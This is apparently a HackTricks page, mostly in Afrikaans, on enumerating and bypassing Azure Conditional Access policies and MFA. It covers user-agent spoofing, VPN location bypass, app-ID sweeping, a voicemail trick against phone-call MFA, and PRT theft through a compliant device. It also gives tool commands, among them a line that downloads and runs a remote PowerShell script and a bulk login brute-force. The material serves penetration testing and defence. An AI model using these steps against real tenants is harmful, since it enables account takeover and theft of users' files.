Az - Conditional Access Policies & MFA Bypass

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Azure Conditional Access policies is reëls wat in Microsoft Azure opgestel word om toegangbeheer tot Azure-dienste en toepassings af te dwing op grond van sekere voorwaardes. Hierdie beleide help organisasies om hul hulpbronne te beveilig deur die regte toegangskontroles toe te pas onder die regte omstandighede.
Conditional access policies bepaal basies Wie toegang kan hĂȘ tot Wat vanaf Waar en Hoe.

Hier is ’n paar voorbeelde:

  1. Sign-In Risk Policy: Hierdie beleid kan ingestel word om multi-factor authentication (MFA) te vereis wanneer ’n aanmeldingsrisiko opgespoor word. Byvoorbeeld, as ’n gebruiker se aanmeldingsgedrag ongewoon is in vergelyking met hul normale patroon, soos aanmelding vanaf ’n ander land, kan die stelsel vir addisionele verifikasie vra.
  2. Device Compliance Policy: Hierdie beleid kan toegang tot Azure-dienste beperk slegs tot toestelle wat voldoen aan die organisasie se sekuriteitsstandaarde. Byvoorbeeld, toegang kan slegs toegestaan word vanaf toestelle wat op datum antivirus-sagteware het of ’n bepaalde bedryfstelselweergawe gebruik.

Enumeration

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Conditional Access Policies Omseilings

Dit is moontlik dat ’n conditional access policy sekere inligting kontroleer wat maklik gemanipuleer kan word, wat ’n omseiling van die beleid moontlik maak. En as byvoorbeeld die beleid MFA konfigureer, sal die aanvaller dit kan omseil.

Wanneer ’n conditional access policy gekonfigureer word, moet jy die users wat geraak word en die target resources (like all cloud apps) aandui.

Dit is ook nodig om die conditions wat die beleid sal trigger te konfigureer:

  • Network: IP, IP ranges en geografiese liggings
    • Kan omseil word deur ’n VPN of Proxy te gebruik om na ’n toegelate land te koppel of deur in te teken vanaf ’n toegelate IP-adres
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: “Any device” of kies Android, iOS, Windows phone, Windows, macOS, Linux
    • As “Any device” nie gesleep is nie maar al die ander opsies wel, is dit moontlik om dit te omseil deur ’n ewekansige user-agent te gebruik wat nie aan daardie platforms verwant is nie
  • Client apps: Opsies is “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” en “Other clients”
    • Om die login te omseil deur ’n nie-geselekteerde opsie te gebruik
  • Filter for devices: Dit is moontlik om ’n reĂ«l te genereer wat verband hou met die gebruikte toestel
  • Authentication flows: Opsies is “Device code flow” and “Authentication transfer”
    • Dit sal nie ’n aanvaller raak nie, tensy hy probeer een van daardie protokolle misbruik in ’n phishing-aksie om toegang tot die slagoffer se rekening te kry

Die moontlike results is: Block of Grant toegang met potensiële voorwaardes soos vereis MFA, toestel moet compliant wees


Device Platforms - Device Condition

Dit is moontlik om ’n voorwaarde te stel gebaseer op die device platform (Android, iOS, Windows, macOS
), maar dit is gebaseer op die user-agent, so dit is maklik om te omseil. Selfs al maak jy al die opsies MFA afdwingend, as jy ’n user-agent gebruik wat nie herken word nie, sal jy die MFA of blokkering kan omseil:

Net om die browser die onbekende user-agent stuur te laat (soos Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) is genoeg om hierdie voorwaarde nie te aktiveer nie.
Jy kan die user agent manueel verander in die developer tools:

Of gebruik ’n browser extension like this one.

Locations: Countries, IP ranges - Device Condition

As dit in die conditional policy ingestel is, kan ’n aanvaller net ’n VPN in die allowed country gebruik of probeer om toegang te kry vanaf ’n allowed IP address om hierdie voorwaardes te omseil.

Cloud Apps

Dit is moontlik om conditional access policies te konfigureer om byvoorbeeld MFA te blokkeer of af te dwing wanneer ’n gebruiker probeer toegang tot ’n specific app:

Om te probeer om hierdie beskerming te omseil, moet jy kyk of jy in enige application kan aanmeld.
Die tool AzureAppsSweep het tens of application IDs hardcoded en sal probeer om by hulle aan te meld; dit sal jou laat weet en selfs die token gee as dit suksesvol is.

In order to test specific application IDs in specific resources you could also use a tool such as:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Verder is dit ook moontlik om die aanmeldmetode te beskerm (bv. as jy vanuit die blaaier of vanaf ’n desktop-toepassing probeer aanmeld). Die hulpmiddel Invoke-MFASweep voer ’n paar kontroles uit om ook te probeer om hierdie beskermings te omseil.

Die hulpmiddel donkeytoken kan ook vir soortgelyke doeleindes gebruik word, alhoewel dit ononderhou lyk.

Die hulpmiddel ROPCI kan ook gebruik word om hierdie beskermings te toets en te sien of dit moontlik is om MFA’s of blokkades te omseil, maar hierdie hulpmiddel werk vanuit ’n whitebox perspektief. Jy moet eers die lys van Apps wat in die tenant toegelaat is aflaai en dan sal dit probeer om by hulle aan te meld.

Ander Az MFA-omseilings

Beltoon

Een Azure MFA-opsie is om ’n oproep na die geconfigureerde telefoonnommer te ontvang waarin die gebruiker gevra sal word om die karakter # te stuur.

Caution

Aangesien karakters net toone is, kan ’n aanvaller die spraakpos-boodskap van die telefoonnommer kompromitteer, die boodskap as die toon van # konfigureer en dan, wanneer MFA versoek word, seker maak dat die slagoffer se foon besig is (deur dit te bel) sodat die Azure-oproep na die spraakpos herlei word.

Voldoenende toestelle

Beleide vereis dikwels ’n voldoenende toestel of MFA, so ’n aanvaller kan ’n voldoenende toestel registreer, ’n PRT token kry en sodoende die MFA omseil.

Begin deur ’n voldoenende toestel in Intune te registreer, en kry dan die PRT met:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Vind meer inligting oor hierdie soort aanval op die volgende bladsy:

Az - Primary Refresh Token (PRT)

Gereedskap

AzureAppsSweep

Hierdie skrip haal ’n paar gebruikersinlogbewyse en kontroleer of dit by sekere toepassings kan aanmeld.

Dit is nuttig om te kyk of jy nie MFA benodig om by sekere toepassings aan te meld nie wat jy later dalk kan misbruik om voorregte te eskaleer.

roadrecon

Haal alle beleide op

roadrecon plugin policies

Invoke-MFASweep

MFASweep is ’n PowerShell-skrip wat probeer om in te teken by verskeie Microsoft-dienste met ’n verskafde stel credentials en sal probeer om te identifiseer of MFA aangeskakel is. Afhangend van hoe conditional access policies en ander multi-factor authentication-instellings gekonfigureer is, kan sommige protokolle uiteindelik as enkelfaktor agterbly. Dit het ook ’n bykomende kontrole vir ADFS-konfigurasies en kan probeer om by die on-prem ADFS server in te teken indien dit opgespoor word.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en daarna APIs in verskeie produksie AAD-tenants te misbruik, waar AAD-kliënte geglo het dat MFA afgedwing was, maar ROPC-gebaseerde verifikasie geslaag het.

Tip

Jy moet toestemming hĂȘ om al die toepassings te lys sodat jy die lys van apps kan genereer om te brute-force.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token is ’n stel funksies wat sekuriteitskonsultante help om Conditional Access Policies, toetse vir 2FA-enabled Microsoft portals, ens. te valideer.

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Toets elke portaal of dit moontlik is om login sonder MFA:

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Omdat die Azure portal nie beperk is nie, is dit moontlik om ’n token vanaf die portal endpoint te versamel om toegang te verkry tot enige diens wat deur die vorige uitvoering opgespoor is. In hierdie geval is Sharepoint geïdentifiseer, en ’n token om toegang daartoe word aangevra:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Stel dat die token die toestemming Sites.Read.All (van Sharepoint) het — selfs al kan jy nie Sharepoint via die web bereik weens MFA nie, is dit moontlik om die token te gebruik om toegang tot die lĂȘers met die gegenereerde token te kry:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks